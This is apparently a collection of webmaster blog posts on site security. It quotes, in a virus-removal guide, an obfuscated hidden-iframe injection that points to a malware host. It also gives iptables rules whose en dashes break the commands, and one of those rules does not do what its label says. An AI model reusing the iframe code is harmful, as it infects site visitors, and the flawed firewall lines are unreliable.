Turn Off Autocomplete Form in Internet Explorer

A webmastersucks user ask me “The only problem is that IE will store the MD5 ] password when it “saves” the password. Have you been able to overcome that?”. Solution is really simple, just we can use autocomplete attribute in form tag. It will be close autocomplete in form. It will better in password protected sites.

<form name="form" method="post" autocomplete="off">....</form>

Free Online Virus Scanner

I told i have got problems with “jl.chura.pl virus“. When i search about solving my virus problem, i found lots of online virus scanners on net. I want to share with you this web sites. No program or download need for this virus scanners.

My blog posts about jl.chura.pl virus;

Here is the full list of free online virus scanners:

  1. Kaspersky Virus Scanner
  2. Symantec Security
  3. Mcafee Scan
  4. Bit Defender Scan
  5. One Care Live
  6. Ca Security Advisor Virus Info Scan
  7. Ewido Online Scan
  8. Panda Security Active Scan

Iframe Virus jl.chura.pl Removal Todo List

I wrote a post about “Iframe Virus jl.chura.pl Removal“. Everyday, lots of users come to that post. I want write more about jl.chura.pl virus. I write a todo list.

jl.chura.pl Virus Remove todo list:

  1. Change all FTP passwords which is saved in your FTP program (ex. CuteFtp)
  2. Close your web sites if they are virused.
  3. Remove this code: “<iframe src=”http://jL.ch&#117;ra.pl/rc/” style=”display:none”></iframe>” with using Dreamweaver or any program which is access all pages in a directory.
  4. Dont forget this virus add this all pages (.php, .html, .asp) which have got </body> tag, virus add before this tag. Virus can add code to javascripts too.
  5. Download “Avast Home Edition“, free and infected this virus.
  6. Setup Avast Home Edition
  7. Restart your PC and open in safe mode
  8. Scan all of your computer.
  9. Upload clean pages to your web site
  10. Reopen your web site
  11. If google says your web site is have badwares, read;
    1. My site’s been hacked – now what?
    2. Hey Google, I no longer have badware

PS: I am not guarenteed virus removal, this is my todo list. I did and now it is all cleaned.

Iframe Virus jl.chura.pl Removal

Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe virus in my site. I search this virus, it is changing index and default files. Add code like here..

<iframe src="http://jL.ch&#117;ra.pl/rc/" style="d&#105;splay:none"></iframe>

UPDATED (5th June 2009):

After a while, virus come back. I used Avast Free Version, that is find all viruses and removed. But it is damaged infected files. All infected .html and .php files are deleted. Download Avast Home Edition >

This virus also affected your google results. Google can block your site because of badware. You have to read “My site’s been hacked – now what?” and after remove your virus you have to read “Hey Google, I no longer have badware“.

PS: I am not guarenteed virus removal, these are only what i do.

htaccess Tips, Tricks and Guide

I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from PerishablePress. I hope you’ll be enjoy.

For all search result >

Image Directory Security with htaccess

Image DirectorySome hackers or attackers try to upload script files in image upload files and they can see and change your files with that script. You can block this type file in that directories. You can forbidden type of files and close execution of CGI.

.htaccess

# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi .aspx
Options -ExecCGI

From: http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#sec16

Deny Directory Listing in .htaccess

Some webmasters upload a blank index.html for dont index directories. Thats a way of listing directories. But htaccess is more easier solution for this. Just add this code to your .htaccess file

Options -Indexes

Allow directory index, remove the that code or change

Options +Indexes

If you want to list files in directory, but except some of filetypes. Example this code is ignoring zip and rar files.

IndexIgnore *.zip *.rar

 You can disable directory indexing with indexignore too

IndexIgnore *

 Another way is changing the directory index file

DirectoryIndex this_my_index_file.html

Open and Close Port in Linux

For more secure server, we have to close some ports to users. If need access to this ports, we can give permission to our IP address. We need static IP address for this operation. Please dont forget, “iptables” can be block all IP address but when you restart the server it will be clean all of this commands. (I am using Fedora)

Closing FTP port except xxx.xxx.xxx.xxx

iptables -t filter -I INPUT 1 -p tcp -s ! xxx.xxx.xxx.xxx –dport 21 -j REJECT –reject-with icmp-host-prohibited

Closing SSH port except xxx.xxx.xxx.xxx

iptables -t filter -I INPUT 1 -p tcp -s ! xxx.xxx.xxx.xxx –dport ssh -j REJECT –reject-with icmp-host-prohibited

Closing MySQL port except localhost

iptables -A INPUT -i eth0 -s 192.168.1.0/24 -p tcp –destination-port 3306 -j ACCEPT

Listing iptables list

iptables -L

Removing iptables data (Removing first one in list, type 2 for second one)

iptables -D INPUT 1